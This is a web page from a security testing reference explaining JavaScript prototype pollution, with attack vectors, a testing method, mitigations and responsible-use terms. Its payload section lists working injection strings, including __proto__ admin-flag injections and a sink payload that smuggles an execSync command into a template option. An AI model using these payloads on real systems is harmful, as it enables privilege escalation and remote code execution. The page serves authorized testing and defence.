OWASP Hunting
Injection

Prototype Pollution

Prototype pollution injects properties into JavaScript's Object.prototype, enabling denial of service, property injection, or in some cases RCE.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

Prototype pollution is a JavaScript vulnerability where an attacker injects properties into Object.prototype via untrusted input. Because nearly every JavaScript object inherits from Object.prototype, a polluted property affects the entire application. Impact ranges from denial of service and property injection to authentication bypass and remote code execution depending on how polluted properties are consumed.

Attack Vectors

  • JSON/query bodies parsed with unsafe merge utilities (lodash.merge, jQuery.extend)
  • URL/query string parsers that decode __proto__ or constructor keys
  • Custom recursive object assignment functions
  • YAML parsers that honor object keys verbatim

Testing Methodology

  1. Send JSON with __proto__ key: {"__proto__": {"polluted": true}}
  2. Try constructor.prototype path: {"constructor": {"prototype": {"polluted": true}}}
  3. Test URL query strings: ?__proto__[polluted]=1
  4. Check if ({}).polluted === true after the request
  5. Identify sinks that consume the polluted property for security decisions

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

__proto__ Injection (JSON)
{"__proto__": {"polluted": true}}{"__proto__": {"admin": true}}{"__proto__": {"isAdmin": true}}
constructor.prototype Path
{"constructor": {"prototype": {"polluted": true}}}
URL Query String
?__proto__[polluted]=1?__proto__.polluted=1?constructor[prototype][polluted]=1
Sink Targeting
{"__proto__": {"outputFunctionName": "_x; process.mainModule.require('child_process').execSync('id'); //x"}}

Indicators of Vulnerability

  • Object.prototype properties set after sending crafted request
  • Application behavior changes when prototype properties are injected
  • Error messages referencing __proto__ or prototype in stack traces

Detection Guidance

Freeze Object.prototype in application startup. Audit all uses of merge, clone, and deep-copy utilities for prototype pollution vulnerabilities.

Mitigation & Remediation

  • Use Object.freeze(Object.prototype) at application startup
  • Use Object.create(null) for dictionaries that should not inherit from Object.prototype
  • Audit and patch merge/clone utilities to check for __proto__ and prototype keys
  • Validate that JSON keys do not include __proto__, constructor, or prototype
  • Use libraries patched against prototype pollution

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)